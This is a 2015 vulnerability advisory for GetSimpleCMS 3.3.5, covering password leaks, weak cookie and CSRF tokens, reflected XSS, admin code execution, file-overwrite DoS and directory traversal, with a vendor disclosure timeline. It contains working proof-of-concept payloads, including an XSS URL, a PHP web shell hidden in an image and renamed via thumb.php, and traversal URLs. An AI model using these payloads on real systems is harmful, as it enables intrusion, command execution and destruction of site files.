GetSimpleCMS 3.3.5 XSS / Code Execution / DoS / Weak Auth
Posted on 17 July 2015
Vulnerability: XSS, Code Execution, DOS, Password Leak, Weak Authentication Affected Software: GetSimpleCMS (http://get-simple.info/) Affected Version: 3.3.5 (probably also prior versions) Patched Version: 3.3.6 (partial fix) Risk: Medium-High Vendor Contacted: 2015-06-14 Vendor Partial Fix: 2015-07-14 Public Disclosure: 2015-07-15 GetSimple CMS is a content management system written in PHP. It does not use a DBMS, but xml files instead. There are various vulnerabilities in version 3.3.5, most of which are fixed in version 3.3.6. For version 3.3.6 **it is important that the htaccess file of GetSimple CMS is read by the server**, as otherwise passwords and other sensitive information will be disclosed (the functionality of the website itself is not affected by an unread htaccess file, so it might go unnoticed). Password Leak (only partially fixed) ============= Risk ---- Medium-High; Passwords may leak, depending on Server configuration Description ----------- A lot of sensitive information is stored in .xml files inside the web root. The .htaccess file of GetSimpleCMS does prevent access to .xml files, but if the htaccess file is not used - for example because AllowOverride None is set (eg for performance or security reasons) - these files become readable. There is no warning in the admin area for when this is happening. Additionally, backups of these files may be stored with the extension .bak, access to which is not denied by the .htaccess file. The mentioned files can for example be found at the following locations: http://localhost/GetSimpleCMS-3.3.5/backups/users/username.xml.bak http://localhost/GetSimpleCMS-3.3.5/data/users/username.xml Other xml files contain further sensitive information. Mitigation / Comments on Vendor Fix ----------------------------------- The vendor now also forbids access to .bak files. Other than that, this issue was not fixed by the vendor, as it is not an issue if the user has configured the webserver in a specific way. Because of this, **it is extremely important that AllowOverride None is set**. Insufficient Cookie Authentication (not fixed) ================================== Risk ---- Medium; Authentication bypass, depending on Server configuration Description ----------- The cookie used to authenticate users does not contain truly random data, and never changes. It does contain: - $USR (user name) - $SALT (per default a value stored in localhost/GetSimpleCMS-3.3.5/data/other/authorization.xml, see above) - $cookie_name (contains the site name and the site version, none of which should be sensitive information, and can be easily found in various files) Depending on server configuration, it is relatively easy for an attacker to retrieve all of these values, which would enable them to log in as any user. Insufficient CSRF Protection (not fixed) ============================ Risk ---- Low-Medium; CSRF protection can be bypassed, depending on Server configuration Description ----------- The CSRF nonce does not contain truly random data and may thus be guessed by an attacker. It does contain: - $action (known to attacker) - $file (known to attacker) - $SALT (site salt, see above) - $uid (user agent) - $time (two hour window) - $USR (user name) $time is not a problem. If an attacker wants to, they can automatically update it in their attack code. This leaves the user agent. There are a lot of lists with the most common user agents available, and they cover a high percentage of used user agents, so this value can also relatively easily be guessed by an attacker. Reflected XSS ============= Risk ---- Medium; arbitrary javascript execution, which can lead to CSRF protection bypass, which in this case leads to arbitrary code execution via eg the theme editor POC --- http://localhost/GetSimpleCMS-3.3.5/admin/filebrowser.php?returnid=foobar&func=foobar %3D%3D 'function') {}}}alert(1); </script> Code Execution (Admin) ====================== Risk ---- Medium; An admin can execute arbitrary PHP code without using the designated theme editor (this is bad because some users might disable the theme editor for security reasons) POC --- 1. A valid image file with PHP code inside is needed (can eg be created by creating a 1x1 png via gimp, and editing "created by gimp" in vim to be <?php passthru($_GET['c']); ?>) 2. Upload image 3. rename file extensions: http://localhost/GetSimpleCMS-3.3.5/admin/inc/thumb.php?src=evil.png&dest=evil.php 4. visit PHP shell: http://localhost/GetSimpleCMS-3.3.5/data/thumbs/evil.php?c=id DOS (via CSRF) ============== Risk ---- Medium; Relevant System files can be destroyed by an admin or by an attacker if admin visits their website Description ----------- Any file on the system that the web user has access to can be overwritten with an image file that already exists on the server. Credentials are required, but the request is not protected by CSRF protection. POC --- http://localhost/GetSimpleCMS-3.3.5/admin/inc/thumb.php?src=evil.png&dest=.../...//.../...//.../...//.../...//.../...//var/www/important Code Execution (Admin, not with default config) =============================================== Risk ---- Minimal; requires admin credentials and custom configuration Description ----------- The function that validates file types can work with a blacklist (default) or a whitelist. The function works fine with default configuration. But if a user were to use the whitelist approach, it would introduce a vulnerability, as the validation then only relies on the given mime type, which is entirely user controlled. Directory Traversal =================== Risk ---- minimal; it is possible to go up one directory when viewing files POC --- localhost/GetSimpleCMS-3.3.5/admin/theme-edit.php?t=..&f=gsconfig.php&s=Edit Timeline ======== 2015-06-14: Requesting Contact Email via official forum 2015-06-15: Vendor Reply 2015-06-15: Send Advisory 2015-06-16: Vendor Confirmation, Issues opened 2015-06-22: Vendor Released Partial Fix as Beta Version 2015-07-13: Disclosure Announced 2015-07-13: Vendor Confirmation 2015-07-14: Vendor Releases Partial Fix 2015-07-15: Disclosure Source ====== http://software-talk.org/blog/2015/07/getsimplecms-3-3-5-xss-code-execution-dos-password-leak-weak-authentication-misc/
